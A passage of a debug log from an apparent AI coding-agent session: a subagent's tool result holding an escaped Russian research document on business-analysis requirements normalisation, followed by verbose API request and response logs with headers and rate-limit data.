\u043f\u043e\u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u044f;\\n- \u0447\u0435\u0442\u044b\u0440\u0435 \u0433\u0440\u0430\u043d\u0438\u0447\u043d\u044b\u0445 \u043a\u0435\u0439\u0441\u0430.\\n\\n**\u041d\u0435 \u0432\u0445\u043e\u0434\u0438\u0442 \u0432 \u0433\u0440\u0430\u043d\u0438\u0446\u044b:**\\n\\n- \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0435 13 \u0430\u0442\u043e\u043c\u0430\u0440\u043d\u044b\u0445 \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u044b\u0445 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439 Mango \u2014 \u043d\u0430 \u044d\u0442\u043e\u0439 \u0438\u0442\u0435\u0440\u0430\u0446\u0438\u0438 \u043e\u043d\u0438\\n  \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u044b (\u0441\u043c.\\n  [`docs/taxonomy.md`](https://github.com/G-Ivan-A/mango_ba_prompts/blob/main/docs/taxonomy.md));\\n- \u0432\u044b\u0431\u043e\u0440 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u043e\u0432, \u0442\u0440\u0435\u043a\u0435\u0440\u043e\u0432 \u0438 \u0445\u0440\u0430\u043d\u0438\u043b\u0438\u0449;\\n- \u043d\u043e\u0440\u043c\u0430\u0442\u0438\u0432\u043d\u044b\u0435 acceptance-\u043f\u043e\u0440\u043e\u0433\u0438 \u0434\u043b\u044f \u043c\u0435\u0442\u0440\u0438\u043a \u2014 \u0438\u0445 \u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e\u0433\u043e\\n  \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u0432\u043b\u0430\u0434\u0435\u043b\u044c\u0446\u0430 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430;\\n- \u043f\u0435\u0440\u0435\u043f\u0438\u0441\u044b\u0432\u0430\u043d\u0438\u0435 \u0441\u0430\u043c\u0438\u0445 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432: \u043c\u043e\u0434\u0443\u043b\u044c \u0434\u0430\u0451\u0442 \u043e\u0441\u043d\u043e\u0432\u0430\u043d\u0438\u0435 \u0438 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f \u043a \u043d\u0438\u043c, \u043d\u043e \u043d\u0435\\n  \u0438\u0445 \u0442\u0435\u043a\u0441\u0442.\\n\\n**\u0421\u0442\u0440\u043e\u0433\u043e\u0435 \u0440\u0430\u0437\u0434\u0435\u043b\u0435\u043d\u0438\u0435 \u043e\u0431\u043b\u0430\u0441\u0442\u0435\u0439.** \u0423\u043d\u0438\u0432\u0435\u0440\u0441\u0430\u043b\u044c\u043d\u0430\u044f \u0438 Mango-\u0447\u0430\u0441\u0442\u044c \u043d\u0435 \u0441\u043c\u0435\u0448\u0438\u0432\u0430\u044e\u0442\u0441\u044f\\n\u0432\u043d\u0443\u0442\u0440\u0438 \u043e\u0434\u043d\u043e\u0433\u043e \u0440\u0430\u0437\u0434\u0435\u043b\u0430. \u041a\u0430\u0436\u0434\u043e\u0435 \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0435 \u043f\u043e\u043c\u0435\u0447\u0435\u043d\u043e \u043e\u0431\u043b\u0430\u0441\u0442\u044c\u044e: `[U]` \u2014\\n\u0443\u043d\u0438\u0432\u0435\u0440\u0441\u0430\u043b\u044c\u043d\u043e\u0435, `[M]` \u2014 Mango-\u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0435, `[H]` \u2014 \u0433\u0438\u043f\u043e\u0442\u0435\u0437\u0430.\\n\\n## 3. \u0412\u043e\u043f\u0440\u043e\u0441\u044b \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f\\n\\n| # | \u0412\u043e\u043f\u0440\u043e\u0441 | \u0413\u0434\u0435 \u043e\u0442\u0432\u0435\u0442 |\\n| --- | --- | --- |\\n| RQ-1 | \u041a\u0430\u043a \u0438\u043d\u0434\u0443\u0441\u0442\u0440\u0438\u0430\u043b\u044c\u043d\u043e \u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e \u043d\u0430\u0437\u0432\u0430\u0442\u044c \u0432\u0445\u043e\u0434 BA-\u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432? | `10-theory.md` \u00a74 |\\n| RQ-2 | \u0427\u0442\u043e \u0442\u0430\u043a\u043e\u0435 \u043d\u043e\u0440\u043c\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f \u043a\u0430\u043a \u0444\u0443\u043d\u043a\u0446\u0438\u044f \u0438 \u0433\u0434\u0435 \u0435\u0451 \u0433\u0440\u0430\u043d\u0438\u0446\u044b? | `10-theory.md` \u00a71\u2013\u00a72 |\\n| RQ-3 | \u041a\u0430\u043a\u0438\u0435 \u043a\u043b\u0430\u0441\u0441\u044b \u0438\u043d\u0438\u0446\u0438\u0438\u0440\u0443\u044e\u0449\u0438\u0445 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u043e\u0432 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0442 \u0438 \u043f\u043e \u043a\u0430\u043a\u0438\u043c \u043e\u0441\u044f\u043c \u043e\u043d\u0438 \u0440\u0430\u0437\u043b\u0438\u0447\u0430\u044e\u0442\u0441\u044f? | `20-taxonomy.md` \u00a71\u2013\u00a72 |\\n| RQ-4 | \u041a\u0430\u043a \u0443\u0441\u0442\u0440\u043e\u0435\u043d\u0430 \u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u044f \u0441\u0442\u0435\u0439\u043a\u0445\u043e\u043b\u0434\u0435\u0440\u043e\u0432 \u043f\u043e \u043a\u043e\u043d\u0442\u0443\u0440\u0430\u043c? | `20-taxonomy.md` \u00a73 |\\n| RQ-5 | \u041f\u0440\u0438\u043c\u0435\u043d\u0438\u043c\u0430 \u043b\u0438 \u043c\u0435\u0442\u043e\u0434\u043e\u043b\u043e\u0433\u0438\u044f \u0440\u0435\u043f\u0443\u0442\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0445 \u0442\u0435\u0445\u043d\u043e\u043b\u043e\u0433\u0438\u0439 \u043a \u0441\u0442\u0435\u0439\u043a\u0445\u043e\u043b\u0434\u0435\u0440\u0430\u043c BA? | `20-taxonomy.md` \u00a74, \u0433\u0438\u043f\u043e\u0442\u0435\u0437\u0430 H6 |\\n| RQ-6 | \u041a\u0430\u043a\u0438\u0435 \u0443\u043d\u0438\u0432\u0435\u0440\u0441\u0430\u043b\u044c\u043d\u044b\u0435 BA-\u043f\u0440\u043e\u0446\u0435\u0441\u0441\u044b \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0442 \u0441\u043e \u0432\u0445\u043e\u0434\u043e\u043c? | `20-taxonomy.md` \u00a75 |\\n| RQ-7 | \u041a\u0430\u043a \u0443\u043d\u0438\u0432\u0435\u0440\u0441\u0430\u043b\u044c\u043d\u0430\u044f \u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u044f \u0441\u043e\u043e\u0442\u043d\u043e\u0441\u0438\u0442\u0441\u044f \u0441 Mango? | `30-decision-framework.md` \u00a71 |\\n| RQ-8 | \u041a\u0430\u043a \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u0446\u0438\u043a\u043b \u043d\u043e\u0440\u043c\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u0438 \u043a\u0430\u043a\u0438\u0435 \u0432 \u043d\u0451\u043c \u0433\u0435\u0439\u0442\u044b? | `30-decision-framework.md` \u00a72 |\\n| RQ-9 | \u041a\u0430\u043a \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0435\u0442\u0441\u044f \u0440\u0435\u0448\u0435\u043d\u0438\u0435 \u00ab\u043f\u0440\u043e\u0434\u0443\u043a\u0442 / \u0434\u043e\u0440\u0430\u0431\u043e\u0442\u043a\u0430 / \u043a\u0430\u0441\u0442\u043e\u043c\u00bb? | `30-decision-framework.md` \u00a73 |\\n| RQ-10 | \u041a\u0430\u043a\u043e\u0432\u044b \u043f\u043e\u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u044f \u0442\u0440\u0451\u0445 \u0433\u0438\u043f\u043e\u0442\u0435\u0437 \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438? | `30-decision-framework.md` \u00a74 |\\n| RQ-11 | \u041a\u0430\u043a \u0443\u0441\u0442\u0440\u043e\u0435\u043d \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u0441\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u043a\u0438 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0439 \u0438 \u0447\u0435\u043c \u043e\u043d \u043e\u0442\u043b\u0438\u0447\u0430\u0435\u0442\u0441\u044f \u043e\u0442 \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u043e \u0432\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0438 \u0432 \u043f\u0440\u043e\u0434\u0443\u043a\u0442? | `30-decision-framework.md` \u00a75 |\\n| RQ-12 | \u0427\u0442\u043e \u0438\u043c\u0435\u043d\u043d\u043e \u0434\u0430\u0451\u0442 \u043e\u0441\u043d\u043e\u0432\u0430\u043d\u0438\u0435 \u043f\u0435\u0440\u0435\u043f\u0438\u0441\u0430\u0442\u044c BA-\u043f\u0440\u043e\u0446\u0435\u0441\u0441\u044b? | `30-decision-framework.md` \u00a76 |\\n| RQ-13 | \u041a\u0430\u043a \u0441\u0438\u0441\u0442\u0435\u043c\u0430 \u0440\u0435\u0430\u0433\u0438\u0440\u0443\u0435\u0442 \u043d\u0430 \u0447\u0435\u0442\u044b\u0440\u0435 \u0433\u0440\u0430\u043d\u0438\u0447\u043d\u044b\u0445 \u043a\u0435\u0439\u0441\u0430? | `40-practice-and-cases.md` \u00a73 |\\n| RQ-14 | \u041a\u0430\u043a \u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u044f \u044d\u0432\u043e\u043b\u044e\u0446\u0438\u043e\u043d\u0438\u0440\u0443\u0435\u0442 \u0438 \u043a\u0442\u043e \u044d\u0442\u043e \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u0435\u0442? | `30-decision-framework.md` \u00a77 |\\n\\n## 4. \u041c\u0435\u0442\u043e\u0434\\n\\n\u0427\u0435\u0442\u044b\u0440\u0435 \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u044b\u0445 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430 \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432, \u0447\u0442\u043e\u0431\u044b \u043d\u0438 \u043e\u0434\u0438\u043d \u0432\u044b\u0432\u043e\u0434 \u043d\u0435 \u043e\u043f\u0438\u0440\u0430\u043b\u0441\u044f\\n\u0442\u043e\u043b\u044c\u043a\u043e \u043d\u0430 \u043e\u0434\u0438\u043d \u0438\u0437 \u043d\u0438\u0445:\\n\\n1. **\u0418\u043d\u0434\u0443\u0441\u0442\u0440\u0438\u0430\u043b\u044c\u043d\u044b\u0435 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u044b** \u2014 BABOK Guide v3, IREB CPRE, ISO/IEC/IEEE\\n   29148:2018, ISO/IEC 25010, ITIL 4, PMBOK, SAFe, \u0413\u041e\u0421\u0422 34.602-2020, TM Forum\\n   SID/eTOM. \u041f\u043e\u043b\u043d\u044b\u0439 \u0441\u043f\u0438\u0441\u043e\u043a \u0441 URL \u2014\\n   [\u00a71 \u0444\u0430\u0439\u043b\u0430 50-open-research.md](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/normalization/50-open-research.md#1-\u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0438).\\n2. **\u0414\u0435\u0439\u0441\u0442\u0432\u0443\u044e\u0449\u0430\u044f \u043e\u043d\u0442\u043e\u043b\u043e\u0433\u0438\u044f Mango** \u2014 13 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439, 9 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432, 30 \u0442\u0438\u043f\u043e\u0432\\n   \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u043e\u0432, 8 \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0439, \u043f\u0440\u0430\u0432\u0438\u043b\u0430 \u04211\u2013\u04218.\\n3. **\u042d\u043c\u043f\u0438\u0440\u0438\u043a\u0430 \u043a\u043e\u0440\u043f\u0443\u0441\u0430 `runs/`** \u2014 56 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432, \u0438\u0437\u043c\u0435\u0440\u0435\u043d\u044b \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u043e\",\n[2026-09-29T07:45:57.223Z] [INFO]         \"is_error\": false\n[2026-09-29T07:45:57.223Z] [INFO]       }\n[2026-09-29T07:45:57.223Z] [INFO]     ]\n[2026-09-29T07:45:57.223Z] [INFO]   },\n[2026-09-29T07:45:57.223Z] [INFO]   \"parent_tool_use_id\": \"toolu_01GFx7YR63TmqWwLsYXBMEow\",\n[2026-09-29T07:45:57.223Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:45:57.223Z] [INFO]   \"uuid\": \"acc3e9aa-1f17-4ede-8cd0-14eed80401a3\",\n[2026-09-29T07:45:57.223Z] [INFO]   \"timestamp\": \"2026-09-29T07:45:57.207Z\",\n[2026-09-29T07:45:57.223Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:45:57.223Z] [INFO]   \"task_description\": \"Analyze ba-requirements research\"\n[2026-09-29T07:45:57.223Z] [INFO] }\n[2026-09-29T07:45:57.302Z] [STDOUT] [log_be45db] sending request {\n[2026-09-29T07:45:57.309Z] [STDOUT]   method: \"POST\",\n[2026-09-29T07:45:57.316Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:45:57.320Z] [STDOUT]   options: {\n[2026-09-29T07:45:57.322Z] [STDOUT]     method: \"post\",\n[2026-09-29T07:45:57.324Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T07:45:57.328Z] [STDOUT]     body: {\n[2026-09-29T07:45:57.331Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T07:45:57.334Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T07:45:57.345Z] [STDOUT]       system: [Array ...],\n[2026-09-29T07:45:57.349Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T07:45:57.361Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T07:45:57.366Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T07:45:57.380Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T07:45:57.383Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T07:45:57.386Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T07:45:57.389Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T07:45:57.392Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T07:45:57.396Z] [STDOUT]       stream: true,\n[2026-09-29T07:45:57.399Z] [STDOUT]     },\n[2026-09-29T07:45:57.402Z] [STDOUT]     timeout: 600000,\n[2026-09-29T07:45:57.404Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T07:45:57.406Z] [STDOUT]       [Symbol(events.maxEventTargetListeners)]: 50,\n[2026-09-29T07:45:57.408Z] [STDOUT]       [Symbol(events.maxEventTargetListenersWarned)]: false,\n[2026-09-29T07:45:57.411Z] [STDOUT]       aborted: false,\n[2026-09-29T07:45:57.413Z] [STDOUT]       reason: undefined,\n[2026-09-29T07:45:57.417Z] [STDOUT]       onabort: null,\n[2026-09-29T07:45:57.420Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T07:45:57.423Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T07:45:57.426Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T07:45:57.428Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T07:45:57.432Z] [STDOUT]     },\n[2026-09-29T07:45:57.434Z] [STDOUT]     stream: true,\n[2026-09-29T07:45:57.437Z] [STDOUT]   },\n[2026-09-29T07:45:57.442Z] [STDOUT]   headers: {\n[2026-09-29T07:45:57.445Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T07:45:57.448Z] [STDOUT]     \"anthropic-beta\": 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(external, sdk-cli)\",\n[2026-09-29T07:45:57.479Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T07:45:57.484Z] [STDOUT]     \"x-claude-code-agent-id\": \"a8223c4e8f50f54ab\",\n[2026-09-29T07:45:57.487Z] [STDOUT]     \"x-claude-code-agent-type\": \"general-purpose\",\n[2026-09-29T07:45:57.492Z] [STDOUT]     \"x-claude-code-prev-tool-durations\": \"Bash=1317\",\n[2026-09-29T07:45:57.496Z] [STDOUT]     \"x-claude-code-prompt-id\": \"0c6b6133-0ba4-48fe-8f91-a84541ac33b7\",\n[2026-09-29T07:45:57.499Z] [STDOUT]     \"x-claude-code-request-class\": \"subagent\",\n[2026-09-29T07:45:57.502Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:45:57.508Z] [STDOUT]     \"x-client-request-id\": \"edfe24bd-d3df-453f-af7d-01ef20bfeb89\",\n[2026-09-29T07:45:57.514Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T07:45:57.519Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T07:45:57.572Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T07:45:57.577Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T07:45:57.586Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T07:45:57.594Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T07:45:57.605Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T07:45:57.612Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T07:45:57.617Z] [STDOUT]   },\n[2026-09-29T07:45:57.622Z] [STDOUT] }\n[2026-09-29T07:45:57.628Z] [STDOUT] [log_b4ef04, request-id: \"req_011CfXMo7J7hQsAwqwUN9rW1\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 828ms\n[2026-09-29T07:45:57.633Z] [STDOUT] [log_b4ef04] response start {\n[2026-09-29T07:45:57.640Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:45:57.648Z] [STDOUT]   status: 200,\n[2026-09-29T07:45:57.654Z] [STDOUT]   headers: {\n[2026-09-29T07:45:57.658Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:45:57.661Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:45:57.665Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:45:57.670Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.36\",\n[2026-09-29T07:45:57.674Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:45:57.677Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:45:57.680Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:45:57.685Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:45:57.692Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:45:57.697Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:45:57.703Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:45:57.706Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:45:57.711Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:45:57.716Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:45:57.720Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:45:57.724Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T07:45:57.729Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:45:57.733Z] [STDOUT]     \"cf-ray\": \"a4295f094c1c4d8b-FRA\",\n[2026-09-29T07:45:57.736Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:45:57.744Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:45:57.750Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:45:57.756Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:45:57.761Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:45:57 GMT\",\n[2026-09-29T07:45:57.765Z] [STDOUT]     \"request-id\": \"req_011CfXMo7J7hQsAwqwUN9rW1\",\n[2026-09-29T07:45:57.768Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:45:57.770Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:45:57.772Z] [STDOUT]     traceresponse: \"00-16c68d58a7e7525ad74ce138f42493d9-0ef4abc9eaea0bec-01\",\n[2026-09-29T07:45:57.774Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:45:57.780Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:45:57.783Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:45:57.788Z] [STDOUT]   },\n[2026-09-29T07:45:57.792Z] [STDOUT]   durationMs: 828,\n[2026-09-29T07:45:57.795Z] [STDOUT] }\n[2026-09-29T07:45:57.798Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:45:57.802Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:45:57 GMT\",\n[2026-09-29T07:45:57.807Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:45:57.810Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:45:57.813Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:45:57.818Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:45:57.820Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:45:57.825Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:45:57.829Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:45:57.833Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:45:57.837Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:45:57.840Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:45:57.847Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:45:57.851Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:45:57.854Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.36\",\n[2026-09-29T07:45:57.860Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:45:57.864Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:45:57.868Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:45:57.869Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:45:57.873Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:45:57.876Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:45:57.879Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:45:57.882Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:45:57.885Z] [STDOUT]   \"request-id\": \"req_011CfXMo7J7hQsAwqwUN9rW1\",\n[2026-09-29T07:45:57.888Z] [STDOUT]   \"traceresponse\": \"00-16c68d58a7e7525ad74ce138f42493d9-0ef4abc9eaea0bec-01\",\n[2026-09-29T07:45:57.892Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:45:57.897Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:45:57.902Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:45:57.905Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:45:57.909Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:45:57.917Z] [STDOUT]   \"cf-ray\": \"a4295f094c1c4d8b-FRA\",\n[2026-09-29T07:45:57.922Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:45:57.928Z] [STDOUT] [log_b4ef04] response parsed {\n[2026-09-29T07:45:57.940Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:45:57.946Z] [STDOUT]   status: 200,\n[2026-09-29T07:45:57.950Z] [STDOUT]   body: X {\n[2026-09-29T07:45:57.960Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:45:57.964Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:45:57.972Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:45:57.980Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:45:57.983Z] [STDOUT]     },\n[2026-09-29T07:45:57.987Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:45:57.989Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:45:57.994Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:45:57.997Z] [STDOUT]   },\n[2026-09-29T07:45:58.000Z] [STDOUT]   durationMs: 829,\n[2026-09-29T07:45:58.004Z] [STDOUT] }\n[2026-09-29T07:45:58.104Z] [STDOUT] [log_be45db, request-id: \"req_011CfXMoA3ojHaEFwxPPmbbE\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 805ms\n[2026-09-29T07:45:58.109Z] [STDOUT] [log_be45db] response start {\n[2026-09-29T07:45:58.121Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:45:58.125Z] [STDOUT]   status: 200,\n[2026-09-29T07:45:58.128Z] [STDOUT]   headers: {\n[2026-09-29T07:45:58.132Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:45:58.137Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:45:58.145Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:45:58.151Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.36\",\n[2026-09-29T07:45:58.156Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:45:58.160Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:45:58.165Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:45:58.167Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:45:58.170Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:45:58.173Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:45:58.177Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:45:58.180Z] [STDOUT]     